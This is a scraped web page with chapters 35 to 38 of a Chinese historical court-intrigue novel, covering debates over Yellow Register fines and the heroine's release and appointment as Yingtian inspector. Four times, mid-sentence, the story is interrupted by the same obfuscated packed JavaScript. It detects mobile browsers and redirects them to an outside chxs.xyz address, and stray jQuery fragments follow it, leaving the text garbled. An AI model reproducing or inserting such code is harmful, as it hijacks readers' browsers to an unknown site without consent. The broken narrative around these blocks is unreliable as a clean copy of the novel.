傅谊被萧锵这迎头一棒打得有点懵,甚为不解。
他本还在琢磨着黄册库的事和萧锵有什么关系,再反应过来时,就是群臣为挽留首辅,向他求情的情形。
也就是在这一刻,傅谊才恍若如梦初醒,一个激灵,醒悟过来。
开玩笑,他要是真准了,这底下求情的人岂不是又要闹翻了天!
瞧瞧这一个个的,不是萧锵的门生故吏,就是牛脾气犟骨头,不靠些手段收服不了。
这人要是走了,他上哪儿去找个更厉害更有威信的来镇着?
再者,朝中一堆大事亟待解决,他萧锵却想卸担子走人,门都没有!
起码得等到所有事情都有个眉目,他再把这人踹开也不迟啊。
是以傅谊不得不出言挽留,只是这次的语气,底气比方才少了不少:
“阁老勿要作此想法。我朕能得首辅,是朝中幸事,阁老何来此言?快快坐下,跪久了伤身子。赵除佞,还不扶着阁老?”
“是。”
赵除佞动作倒是迅速,疾步趋至萧首辅身边,和颜悦色地将其扶起。
萧锵诚惶诚恐地谢过皇上,面上端的是一派恭敬与谦卑。
“谢皇上,只是臣以为,驳费之事还需再考虑考虑才是。”
迎着傅谊诧异的目光,萧锵不慌不忙地解释道:
“陛下有所不知,这黄册库驳费的罚款对象究竟是哪些人?”
“不就是那些出了问题的地方衙门官员?这笔钱的来路堂堂正正,取之于本分之中,求之于见成之内,又有何问题?”
“是这样,也诚如金陵户科给事中所言,一是为了惩戒负责造册的地方衙门,二是为了减轻供养黄册库的资金压力。驳费之策于靖安九年提出并实施,目的也正是为此。那陛下以为,驳费是越多越好,还是越少越好?”
“呃,这个嘛——”
萧锵这么一问,倒是把傅谊问倒了。
他的第一反应自然是越多越好。
既不用国库动用一分银子,又能缓解两县负担,还可解决黄册库经费,三全其美的事,那不得越多越好?
可下一刻,他转念一想,驳费罚得越多,也就意味着问题越多,地方对黄册就越不上心,粗制滥造的也就更多,这算什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505113|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好事?
是以他的话语就卡在喉咙里,进退不得。
所幸萧锵没有想让他为难的意思,在傅谊发现不对劲后,就很贴心地替他解了围:
“当然,对于素来清贫的黄册库而言,驳费肯定是越多越好,也就意味着黄册的问题越多越好。”
“于是乎滥驳之风盛行。为了索要更多的驳费,黄册库便让驳查监生往死里头查,要求‘一字错讹,片纸瑕疵’,而期间被驳回原籍的黄册如雪花一般繁多,此举便称之为‘滥驳’。”
“老臣历任首辅多年,不敢妄自居功,却也是看过不少申诉后湖黄册库滥驳风气的奏疏。驳银罚款虽说是须经手官吏出,然地方官吏必定不愿意吐出这些银子,反而借机转而向百姓征派银钱,层层加码从中渔利。”
“后湖如此行径,必遭各地方官府眼红。他们也想从驳费中分得一杯羹,故而想方设法截流这笔押向黄册库的罚款,这才有了拖欠驳银这一说。”
“那么现在,皇上以为,这驳费还该不该继续收下去?”
萧锵这一番话说下来,却是让满朝文武又大吃了一惊。
而此时,本就心虚的金陵户科给事中听完后,更是被吓得直哆嗦。
他手中的笔也握不住了,啪嗒一声掉在地上。
首辅都亲自把所有的内情全说了,他身上的罪可谓是板上钉钉,再无任何可狡辩之处。
不过现在,在场的众人,没几个分得出闲心去理会他。
首辅都开口了,御史们更是打了鸡血般,各执一词。
有的认为黄册库乃清查全国人口与土地的命脉,于公来说,金陵户科给事中的做法并无太大过错,其所作所为归根究底还是为了修缮黄册库,只需稍稍惩戒一番即可。更该担罪的,是那些贪图驳费的国子监监生和各地衙门。
但也有人坚持严惩金陵户科给事中,说是不可为私自开垦后湖一事开先例,否则后患无穷,使得后人视禁制为无物。且强烈要求朝廷大力整改后湖黄册库,加强巡逻守卫。
在御史们唾沫横飞的争吵声中,旁人再大的声音,似乎都微不足道了起来。
然而刑部尚书程国泰,并不在意这些口舌之争。
他见傅谊快被御史们嘈杂的声音给吵晕了,神色一凛,生怕傅谊说个“此事明日再议,我朕先行去歇息了”,干脆径直跑到傅谊跟前,嗓音声如洪钟在大殿炸开:
“陛下!臣以为,当务之急还是在于如何处置黄册库的驳费。国子监监生清查黄册耗时耗力,且驳查条件恶劣,不能因滥驳而尽数怪罪于他们。黄册纲纪紊乱、积弊已久,此时再去追究是何人之责,已无太大意义。不如趁着这个时候将黄册清查补档、放宽驳查力度,一鼓作气,把各地拖欠的黄册尽数收上来。滥驳之害上损国利,下累黎民口腹,朝廷何该以一衙门公费而骚扰遍天下!”
“臣便是金陵上元县人,曾亲眼见过不少乡邻为了供养黄册库,被迫借上高利/贷,以至最终连利息都不起的比比皆是,只得卖身为仆,或为佃农,或举家自尽。何况黄册库的费用,应属杂泛徭役和杂税,两县的正役正税并不因此而减免。”
“上元县有一百九十五里,江宁县有一百零五里,两县合计共三万三千户税基,却要担上全国的费用,百姓哪里扛得下这么重的负担?层层盘剥,惨的是百姓,朝廷也收不到多少银子,以至上元、江宁两县民穷财尽、流移逃亡,不忍其荼毒矣。一应里甲,物业荡然。”
“臣,恳请陛下三思啊!”
36. 第 36 章
程阁老这一番的长篇大论,以理服人、以情动人,着实是感人肺腑。
朝中不乏支持他提议之人,只是身处漩涡中心的户部两面为难,进退维谷。
一方面,他们自个都捉襟见肘、自顾不暇,金陵那边的国子监监生还时不时地上书朝廷诉苦,闹着要求改善驳查监生的待遇。
另一方面,他们总有一些在乡的亲戚邻里,也曾拜托过甲首、里长在黄册里动过手脚。若是真如程阁老说的那般要彻底清查,那他们的所作所为岂不是……
不过这些舞弊手段隐蔽巧妙,连国子监的监生都很难发现,或许他们可以不必太过担心,大不了托人再改便是。
不过话说回来,户部要是自己有那么多银子,还用得着眼馋黄册库那一笔又一笔的驳费?
话是他们后湖黄册库自己讲的,“后湖之用,又非一家之私费也,乃以天下之财供天下之用也”——端的是一派正气凛然,大公无私,所以如今又何必向朝廷告状?
按照这个逻辑,那么天下的衙门都是有资格借挪的,至于还不还得上,那就令说了。
户部左思右想,还是觉得先放宽驳查力度,清查黄册较为可行。
派人入湖抄录历届黄册进行对比,揪住大头,放过小错,以避免引发民愤骚动,自己动的那点小手脚也就会被轻轻带过了。
然而这个提议,却是遭到了金陵户科给事中的坚决反对。
“你还在叫唤些什么?”萧藩不耐烦地揉了揉眉心,使了个颇为嫌弃的眼色,“皇上都没治你私自开垦后湖的罪,你又来反对做甚?先前不是还义愤填膺地指责地方官府不作为,现在如你们所愿了,特拨人来协助你们清查黄册,这又怎倒不乐意?”
“小阁老,不是这样的,哎——”
金陵户科给事中急得团团转,如同热锅上的蚂蚁。
迎着诸多怀疑的目光,他内心纠结不已,末了还是硬着头皮,眼一闭心一横,彻底豁出去道:
“从北监多调派些人手,助南监监生一臂之力,此举可行,但是皇上万万不可让无关人员入后湖抄录!”
“地方舞弊官吏之所以不敢肆意妄为,那是因为朝廷在后湖还掌握着原始记录。但如今后湖的黄册库存早就出了问题,一旦把不相干之人放进去抄录,万一让民间知道了黄册库的虚实,那时后湖便再无威慑之力,百姓可就无所畏惧了!”
此言一出,满朝骇然。
傅谊更是捏了一把冷汗。
金陵户科给事中这么说,原来是唱的是一出空城计!
为了不让民间知晓其中底细,所以朝廷必须保持神秘,然后将这些给捂得严严实实。
故圣人云,民可使由之,不可使知之!
只要问题没有暴露,那便不是问题,只是个不值一提的隐患罢了。
这理由对傅谊来说,着实是有些好笑且无语。
但是傅谊现在是一点也笑不出来的,因为他自己也想不出什么更好的办法。
同时他亦非常困惑。
明明黄册库设立的初衷,是为了收贮管理全国的赋役档案。朝廷一次又一次的整改,也是想更好地完善它。
可为何到最后,每次的结果皆与初衷背道而驰,尽不如人意?【1】
这一点,他始终想不明白。
然而此时不容他过多思考,因为户部侍郎萧藩站了出来,代表着户部要来息事宁人了。
萧藩提议,不如当下就从朝中选个能堪重任的巡盐御史,南下巡盐的同时主持两淮盐政,将征来的盐税一部分先用于填补国库,再拨一部分去赈灾,最后拿剩下的那部分去改善国子监监生条件,让监生们慢慢驳查,一改滥驳之风气。
至于派人去黄册库抄录,暂且还是依了金陵户科给事中的说辞,尽数交由南监监生吧。
小阁老说得头头是道,当下就赢得了不少人的赞同与附和。
“那以你所见,朝中有谁可任巡盐御史一职?”
傅谊虽也不太满意萧藩的提议,但也确实也无计可施,不得不先顺着他的话问下去。
听傅谊这么问,萧藩也当真是丝毫不客气,没有一丝犹豫,径直开口:
“臣举荐原吏科给事中何裘。此人曾任扬州泰兴县知县,与当地盐商打过不少交道,协助盐务司处理过诸多事宜,也算略通盐政。因其治理有方,于前年的吏部考核中获得了不错的成绩,这才调至京中。不如让他一试?”
傅谊听毕,也只是略微颔首沉思,不置可否,心中却是一哂。
崇正党的尾巴终归还是漏了出来。
他还未曾发声,赵除佞倒是冷冷一笑,出言不逊:
“小阁老绕了这么大一个弯子,唱的原来是这一出戏。为了提拔这么一个涉嫌谋逆之人,真是煞费苦心。”
萧藩却并不怎么在意赵除佞的态度,肆意回之:
“我只是举荐有贤之士罢了,厂公亦可选一可用之人推而举之。只是还请厂公慎言,何裘是经三法司会审过的无罪,更有魏尚书亲口承认他是可以再度为官的。”
“不是无罪,而是至今为止没有确凿的证据。何裘如是,蓝通玄亦如是。”
见自己也被牵扯进来,魏与归显然是不太乐意,速速澄清一番,
“至于同意何裘再度为官,那也是以防京察和大计过后,各处职位空缺得太多,让他做个替补罢了。南下巡盐事关重大,牵一发而动全身,小阁老举荐人时还需万分谨慎才是。”
然而萧藩并未将魏与归的警告放在心上,仍是满不在乎:
“多谢魏尚书提点,所以我思虑良久才斗胆向皇上举荐此人。若不是他何裘有如此才能,我也不敢在大殿上大放厥词。不如这样魏阁老,反正京察将至,不妨就让何裘先行一试,将功赎罪?若是介时两淮盐政没有任何起色,那就新账旧账一起算,一并治了他的罪,您看如何?”
“此事不是你我说了算的,还需陛下亲自定夺。如若陛下愿意施予何裘三个月的时间去治理盐政,那自然是极好的。”
很显然魏与归并不买萧藩的账,直接把这个问题抛给了傅谊。
“好,准了,且让何裘大展拳脚吧,到时我朕在京中等着他巡盐的银子和好消息。”
这次傅谊同意得很是爽快。
横竖不到三个月,他倒要看看何裘有什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505114|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么样的本事,竟让萧藩为之亲自担保。
挑一个有经验的,总比他在朝中抓瞎赶鸭子上架来得好。
虽然傅谊很厌恶崇正党的行事作风,但傅谊也不得不承认,崇正党会用人,也镇得住人。
他为之头疼了许久的调粮,也不知萧锵使了什么手段,竟磨得那几省的布政司同意借出部分官粮赈灾。
“既然巡盐一事已有所解决,那就该看看江南这边的商税和若干杂税了。我朕听闻江南一带的富商,尤以苏州为甚,可是相当抵触加征商税,也不知当地官员是所何作为——”
傅谊说了一半,话锋骤然一转,语气微扬,略带深意,
“不如再令选一位巡按,代我朕巡狩,好生去敲打敲打这些地方官员,正好也能去监督监督黄册库的攒造情况?”
“善。恰好前些日子应天巡按的任职期限到了,臣正准备寻一人去顶空缺儿,只是尚未找到合适的人选。”
魏与归颔首,略作思考,觉得此举可行。
“那魏阁老不必再苦恼了,我朕这儿有一位合适的。”
像是早早预料到魏与归会这么说,傅谊胸有成竹地自信一笑。
“既然我朕准了何裘可以将功抵过,那么自然其他人亦可做如此处理。我朕以为,让卢点雪暂任应天巡按,如何?”
“臣以为不妥。”
出人意料的是,这次居然是魏与归率先出言反对。
“陛下,虽说卢生确实才华出众,然其年纪尚轻,资历颇浅,不宜在此时外放为官。依惯例,当科状元应授予翰林院修撰,入翰林院历练个几年。更何况巡按御史是代天子出狩,考察百官、举劾尤专,见之如见陛下,故而此人必当得是经验丰富之辈,其擢选对于朝廷而言,可谓是重之又重。”
“那让她等等吏部的铨选?”
这个想法傅谊刚刚提出,下一刻就被他自己否定掉了。
“也不好。她是当朝状元,本无需参加朝考,与二三等进士一同等待吏部的铨选。再者,若是吏部让她去做个七品的知县或学管,岂不是屈才?”
“犯了欺君之罪还没被打回原籍,赏她做个七品知县都算是皇上开恩了,她又怎敢嫌弃?”
梁纲不屑地冷嗤一声,然而在触及赵除佞探来的目光后,蓦地止了话头。
“老奴也以为,可让卢点雪一试。”
赵除佞此话一出,不光是傅谊,就连萧藩也诧异无比,心中暗道这阉人怎忽地转了性子。
真是奇了怪了,他赵除佞先前不是最竭力主张治罪卢点雪的吗?
果不其然,赵除佞接下来的话才是重点,
“不过,老奴也觉得卢生的年纪委实太小了些,由她一人出任如此重职,想必不光是老奴,在座的百官心中定是千万个不放心。不如皇上令派一锦衣卫与之相随,襄助她的同时,亦可监察卢生的一举一动。毕竟她仍是戴罪之身,待遇与旁人大可不尽相同。若是其中出了什么差错,或是京察前无任何作为,锦衣卫可将她捉拿归案,槛送京师!”
“那依你之见,应派遣哪一位?”
“那自然是秉公执法的沈指挥,沈靳炳了。”
37. 第 37 章
朝臣初听傅谊提议之时,本还有些异议。
但在听到赵除佞之言,尤其是是让沈靳炳随行卢点雪的那句,更是直接倒吸了一口凉气。
他们有的虽反对让卢点雪任职应天巡按,但是让锦衣卫监察巡按御史的事,简直前所未闻!
巡按御史本就是代天子巡狩,监察百官的,哪有再来个锦衣卫来监察应天巡按的道理!
傅谊也是想到了这一点,面色顿时变得严肃起来。
他想启用卢点雪,固然是有自己的私心。
但赵除佞这么一搅和,卢点雪行事必然会有所掣肘。
他还想让卢点雪打入崇正党之中呢!
若是锦衣卫一直在一旁,那崇正党岂会全然信任她,并把事情安心交给她去做?
跟别提有了锦衣卫,应天巡按的威严便会一落千丈。连巡按御史都需锦衣卫的监察,那地方诸官还会再敬重她卢点雪吗?
而赵除佞在说出这番话之后,马上就意识到自己失言。
是他太操之过急了。
然而话已出口就不好再收回,何况他也不甘轻易放过这个机会。
于是赵除佞转念一想,计上心来,随即毫不留情地扇了自己一耳光:
“是老奴糊涂了,合该掌嘴。巡按见之如见陛下,地方职务皆可插手,连三品官员见了都要行礼,老奴又何必多此一举?”
“不如就让沈指挥与卢点雪同下江南,亲自去瞧瞧那些镇守太监矿税商税收得如何?也省得这群奴婢不省心,再闹出个诸如私闯后湖一类的混账事儿来。”
“此事我朕再想想。”
傅谊见赵除佞这般反应,一时间没缓过神来。
他本想直接驳了赵除佞这道不合理的请求,但话到嘴边忽然福至心灵,觉得这也不乏为一个不错的法子。
既然赵除佞很有眼色,决定不再针对卢点雪,转而去另盯矿税和商税,他也是乐见其成的。
横竖巡盐御史是何裘来当,也就基本意味着盐政由崇正党把持,他也是休想插上手了。
与其尽数指望着让卢点雪去旁敲侧击,不如让沈靳炳紧盯着矿税和盐税这块,介时也可让卢点雪插手一二,也算是两全其美。
思虑周全后,傅谊方才慎重开口:
“嗯,那便依你的意思去做,将卢点雪放出诏狱吧。”
*
北镇抚司,诏狱。
宋徽猷在门口焦急地等着,不时抬头望去,久久不见里面有人出来。
如果不是奉傅谊的旨意来接卢点雪进宫面圣,他还真有点不愿意来这鬼气森森的北镇抚司。
皇上的圣旨早已让赵除佞送至北镇抚司,即刻放人,可为何里面的狱卒仍旧不知情?
这些狱卒甚至还一副眼高于顶的模样,让他先在外头候着,等厂公回来再说。
宋徽猷憋了一肚子火,正欲拂袖而去,向皇上说道说道赵除佞的跋扈之处,忽而身后传来一个熟悉的声音:
“宋司直,许久不见,别来无恙。”
宋徽猷急急转身,看到的正是琼林宴上舌战群儒的卢点雪。
只是如今的她与当日相比清瘦了许多。
整个人也甚为虚弱,然眼中却依旧是一片清明,澄澈荡然。
宋徽猷一怔,随即怒不可揭。
他和傅谊分明特意叮嘱过北镇抚司要好生待她,可为何人如今却是这副样子!
似是看出了他的心事,卢点雪摆了摆手,轻咳一声:
“多谢皇上宽宏大量,罪民才得以在狱中苟且度日,不曾受过任何刑罚,如今得以重见天日,全赖皇上的如天之德。”
带她出来的狱卒冷哼一声,一边粗暴地给她解下手铐脚镣,一边趾高气扬道:
“要谢还是去谢督主吧!如果不是督主举荐你去做应天巡按,将功抵过,你哪来的好福气?督主今日能将你从诏狱里放出来,明日就还能再把你捆进来,你可别不识好歹!”
“说完了没?说完的话,本官要带她进宫去面圣了。”
宋徽猷强捺下心头的怒气,隐忍不发。
这话倒是点醒了那狂妄的狱卒,方意识到眼前这位是圣上的好友,立马住了嘴,讪讪离开。
卢点雪静静地目送着那位狱卒远去的背影,等到他消失在诏狱幽深的黑暗中后,这才扭头向宋徽猷询问到:
“敢问宋司直,皇上不治民女的罪了吗?这应天巡按和厂公又是怎么一回事?”
宋徽猷一听赵除佞就头大,听卢点雪这么一问,更是不屑地撇撇嘴:
“你莫听这人瞎鬼扯!分明是皇上想提拔你,那赵除佞原本还想让沈靳炳来监视着你,才没这么好心。他这次之所以这么阿谀奉承,不过是别有用心罢了。具体缘由待你入宫后与皇上详谈。”
日暮,卢点雪从宫中出来的时候,人还是有些恍惚的。
皇上与她说完政事后,太后娘娘竟然请她留下来用晚膳。
最初卢点雪还颇为谨慎,一言一行都思索再三,不敢稍逾矩。
直至她看见皇上和其表弟,也就是岳侍郎之子岳棠棣,为了一块把子肉而大打出手,全然顾不上她时,卢点雪这才暗暗长舒一口气,心中的紧张顿时褪去不少。
太后娘娘甚为和蔼,席间跟唠家常一般,说说笑笑地同她聊了不少民间之事。
不时还询问卢点雪是如何跟随李卓吾先生读书的,甚至还能咏上几首先生在民间作的诗。
而陶王傅谦就较为安静了,跟个小大人似的在旁仔细听着,还一直默默地示意宫女给卢点雪夹菜。
直到卢点雪得空朝碗里一瞧,不多时,里面的菜竟恍若小山丘一般,堆得满当当的。
卢点雪连忙搁下筷子,起身向傅谦行礼:“臣惶恐,不敢得陶王如此厚爱。”
然而陶王睁着双大眼睛,摇了摇头,轻声道:
“卢巡按不必客气。你自琼林宴后清减了许多,多吃些吧,皇兄这边管够。江南离京甚远,道阻且长,阁下还需多多保重才是。”
回忆这此处,卢点雪回头,再一次凝望着身后这道宫门。
初赴琼林宴时,她是独自一人深入这宫门的。
如今故地重游,她仍旧是一人。
不过上一次,她的身后有昆将军在守候;这一次,她的身后承载了皇上一家的期许与厚望。
谁说天家无情?如今她倒也有些艳羡这紫禁城内的温情了。
这样阖家团圆、其乐融融的日子,她好像已经很久都未曾感受过了,以至于努力从记忆深处扒拉出这么一个片段,都需要很久,很久。
卢点雪还未走远,旁边的宫门却走出一人,朝她拱手:
“卢大人,小的恭候您多时了,我家老爷邀您到府上一叙。可惜时间仓促,未能及时到贵府递上拜帖,小的先向您赔个不是,还请您勿要见怪。”
卢点雪微楞,目光下意识地朝此人身后的马车望去。
那辆马车算不上豪华,甚至可以称得上是有些简陋,想来不是萧首辅家的。
而那位拦住她的仆人恍若无觉一般,不卑不吭地请她上车。
卢点雪收回了目光,低头“嗯”了一声,也不多言,就直接坐了上去。
这家仆人得知她在宫内用膳,又敢在大庭广众之下的宫门口拦人,丝毫不怕旁人说闲话,行事也算正大光明。
她虽不知其主人是谁,想来定是位朝中大员。
这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505115|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位大官人身正不怕影斜,她又何须心有所惧?
只是她未曾想到的是,马车行了许久,停下来后,在门口等着她的,竟是程阁老程国泰。
卢点雪有些意外。
如若她没记错,那晚琼林宴上论文,这位程阁老对她一惯不假辞色。
“卢巡按,这边请,老臣有要事想请您共同商议。”
程国泰倒是一脸坦荡,将她领至大厅。
卢点雪亦步亦趋地跟在他身后,不免好奇地打量了下四周。
厅内的摆设不多,一共就几副必要的桌椅,其余杂物一概没有,显得很是空阔。
他们刚落座,仆人便端上来两盏茶水。
卢点雪下意识地道了声谢,刚端起茶盏,旁边的程国泰倏地开了口,语气竟是略有些歉意:
“府中财力有限,仅能以粗茶待客,是老夫招待不周了。”
闻言,卢点雪垂下眼眸,轻轻抿了一口,宛然道:
“无妨,这盏茶回味悠长,足够让下官领会到阁老的深意了。”
“你是个聪明人,”程国泰赞许地点了点头,“怪不得连首辅都动了收你作门生的心思。”
“不敢当,下官只有李卓吾这一位老师,从前是,往后亦如是。下官一直以身为温陵先生之徒而骄傲。”
“……”
卢点雪这话说完,程国泰似乎是陷入了沉思。
良久,他才缓过神来,长吁一口气,苦笑道:
“若是李卓吾仍在世,听到你这句话后定是十分欣慰。当今能继承李温陵之志者,想来也就只有你了。”
“你这话,倒让老夫在京畿任学政时,于严寒冬日的古寺中,遇到的那个学子了。”
“哦?此人可是阁老的门生?”
“正是。他名唤史德法,字宪之。日后你巡按江南或许能见到他。”
“好,下官记住了,有空必去造访一二。敢问阁老,您可是有什么要事想嘱托在下?”
“是,前尘旧事不必细究,这次老夫请您到府上来,就是想请你巡按江南时务必要直言无避,切不可让奸诈之徒再生投机倒把之心,将后湖黄册库作为牟利的手段。国子监的监生们,还有上元县的百姓们,已经担不起那么重的担子了。”
语毕,程国泰站了起来,向卢点雪敬茶,
“老夫身为上元县人,却无法亲自为乡亲们尽到一份绵薄之力,年年见其为赋税所苦,实在是痛心之至。然老夫一贫如洗,只能以茶代酒,恳请卢巡按替我了却这一夙愿吧!”
“阁老快快请起,晚辈受不得,此番巡狩,定会尽心竭力,不负天下人期盼!”
卢点雪急急起身,随后将茶水一饮而尽。
“晚辈在金陵读书时,也曾听离相先生说过您的往事。阁老亦是我辈白身所景仰之人。”
“好,好,”程国泰欣慰地摇了摇头,感动道,“卢巡按身系百姓,是朝廷之幸,亦是天下人之福。”
“老夫记得,李卓吾身陨后,我那嗜学的学生宪之不忍见其一生心血付之一炬,私下留存了些许书籍,就藏在他写《藏书》的那座永庆寺里。”
“老夫虽不赞同李温陵之学说,但也不忍见之学问后继无人。如今见到卢生,老夫也尽数放心,将它们全交由你了。来日你功成名就,可将其刊出,大大方方地示于天下人眼前。”
之后,二人又惺惺相惜地对谈了许久,从朝堂时政,再到民间百态。
临行前,卢点雪拜别程国泰,程国泰亦以礼相送。
月色如水,竹影婆娑,茫茫夜色中,程阁老俯下身子,对着卢点雪深深一拜,口中不禁喃喃道:
“天下文枢,旧都不寞。卢巡按,拜托了。”
38. 第 38 章
经由朝廷决断,何裘先行南下,去两淮巡盐。
而卢点雪身为应天巡按,最先去的是苏州府。
至于锦衣卫指挥使沈靳炳并未和卢点雪一道同行。想来也是有一番顾虑,不想给自己找不必要的麻烦。
不过赵除佞之前说的有一句话倒是真的。
若是她卢点雪在京察前无甚作为,沈靳炳确实是会将她即刻捉拿,火速槛送至京师的。
皇上任命她为巡按御史的时候,或许并未想到过,某种意义上也是把她往火坑里推。
凡御史犯罪,加三等,有赃从重论。
她本就犯了欺君之罪,何况她先前也从未做过官,若是行差踏错,便再无翻身之日。
且她身后还有赵除佞在虎视眈眈,定容不得她在江南直言无避。
不过既来之则安之。
横竖她在京城左右也无事,便登门答谢那些为她说过话的官员。
之后卢点雪也给云太傅和云梵寄了封信,与他们大致说了下近况,顺便打听打听苏州府的情况。
待一切就绪,事不宜迟启程南下。
通过云梵的书信她了解到,如今出任苏州的矿监总管,是赵除佞的干儿子,苏杭等处提督织造兼理税务司礼监太监孙隆。
孙隆甫一到任,就同着他的手下黄建节密谋着盘削当地百姓,擅自决定增加纺织业的税额。
其征税的对象,不仅限于纺织业里的商人和机户,甚至还波及到以纺织为生的市民百姓。【1】
孙隆规定,商人和机户们只有在按照要求如数上缴税款后,方可在市场上贩卖丝绢。
然而就在上月苏州发了水灾,蚕桑的生长受到极大的影响,以至于机户和机工们的生活很是困难。
卢点雪看着看着,眉头就深深地拧了起来。
之后她更是半刻也不敢懈怠,快马加鞭,竟是比预估的时日还早了好几天。
她到达苏州府吴县的时候,差不多是酉时一刻。
因吴县是苏州府的附郭县,故而苏州府的知府衙门、巡抚衙门、苏州察院和苏州局,都在吴县县衙附近。
衙门的消息倒是灵通,她前脚刚进吴县,后脚仪仗队就带着人敲锣打鼓地来迎接她了。
卢点雪本就不喜这般大张旗鼓地出行,且时辰已经不早了,再一路这般闹闹哄哄地去衙门,甚为扰民。
再者她也有心想在县里走动走动,探查探查民情,便拒绝让仪仗队伴驾,让他们先行回去,说自己稍后便至。
不过,兴许是一路上舟车劳顿,亦有可能是在诏狱里被饿狠了,卢点雪才徒步走了不久,却是感觉有些疲惫。
先前她在诏狱时,宋徽猷虽打点了狱卒,但那些狱卒也是看上面脸色行事的人。
初时他们还有所顾忌,只是言语对她怠慢。
后来见厂公赵除佞不待见她,便逐渐胆大妄为起来,开始克扣她的伙食,之后更是直接递泔水了。
不过卢点雪并不是很在意这个。
少时家贫,她过的经常是饥一顿饱一顿的日子,久而久之也就习惯了。
然而狱中那些讥言讽语和污言秽语,却是最难熬的。
狱中就她一女子,况且还是女扮男装,犯了欺君之罪的,狱中的其他犯人也往往拿她取乐,乐此不疲地言语羞辱她。
偶尔她也会撑不住,于夜深人静时,将白日里被压抑住的恐惧和满腔悲愤,都化作断断续续的低声呜咽。
只是当她抬起头,眼前就是先生留下的那一片血渍,赫然醒目。
像是从前先生奖励给她的花儿,一朵怒放的花,不屈不挠,从狱中向着狱外顽强伸展着。
那一刹足以让她恢复清明,收敛所有失控的情绪,继彻底定下心来。
眼下,能让她得以大展拳脚的机会近在咫尺。
前面不远处便是察院。
卢点雪路过吴县县衙和知府衙门时意外发现,县衙里灯火通明,门口戒备森严,像是还未放衙的样子。
反观知府衙门那就冷清多了。
门口寂寥无人,也不知是不是里头的人都去巡按察院等候她了,仅一胥吏坐在附近,正耷拉着脑袋打瞌睡。
卢点雪的步伐浅浅一顿,再度瞥一眼那胥吏后,毫不犹豫地走了进去。
她的目标非常明确,直奔架阁库而去。
一进门,一股子霉味儿铺面而来。
卢点雪不得不用袖子掩着口鼻,借着火折子的光,小心翼翼地在架子间移动。
这里似乎很久都没有人来过,大部分的书册上都积着一层厚厚的灰尘。
不过在某些隐蔽的角落位置,她发现了几本看起来颇为破旧但并无多少积灰的册子,显然是被人经常翻阅过。
卢点雪举起手中的火折子,好奇地凑近了些看看。
然而或许是在这架阁库里待得太久,吸了不少尘埃,忽然间卢点雪觉得鼻子有些发痒。
她心中顿时警铃大作,急急吹灭蜡烛,连忙转身朝外走去,终于赶在打喷嚏之前离开了架阁库。
未料她甫一出去,就与刚醒来的胥吏撞了个正着。
“你是何人?竟敢擅闯知府衙门!”
那人横眉冷对,上来便扬着脖子把卢点雪一阵骂。
待他走近后,发现来着是个女子,表情就更为不善了。
卢点雪平静地听完了他所有的话后,客客气气地道了个歉,这才出言解释道:
“失礼了老人家,我是新上任的应天巡按,见这边知府衙门有些冷清便好奇走了进来,未曾提前知会您一声,真是不好意思。”
“哈?你说你是应天巡按?别说笑了,哪有女人做官的?况且这大晚上的,哪个良家女子会跑到知府衙门的架阁库?”
胥吏一听,语气更为轻蔑,
“再者,知府老爷早已派人去迎接巡按大人了,你又在这装腔作势什么?也不看看这里到底是什么地方,轮得到你一个女人信口雌黄!走,我马上把你抓去见知府老爷,看他怎么给你定罪!”
不由分说,那胥吏就抽了根棍子,一把杵在卢点雪背后,将她带出架阁库,从后门进了巡按察院。
此时,苏州知府正提着灯笼站在院外,焦急地张望着。
“卢巡按怎么还不来?莫不是路上出了什么事儿?”
四处搜寻无果,他紧锁着眉头,随机抓了一个仪仗队的人来问话。
“应该不是,卢大人说了她一个时辰内必到。”
被问到的那人一脸惊恐,头摇得像拨浪鼓一样。
“老爷莫急,巡按大人那么大一官儿,必定安然无恙。只不过小的刚在知府衙门的架阁库里抓了一个形迹可疑的小贼,您瞧瞧,竟还敢冒充巡按大人!”
说话间那胥吏从后侧走出,带着一脸谄媚的笑容,将卢点雪推搡至知府面前。
只是下一刻他便清楚地看到,知府老爷的面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505116|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
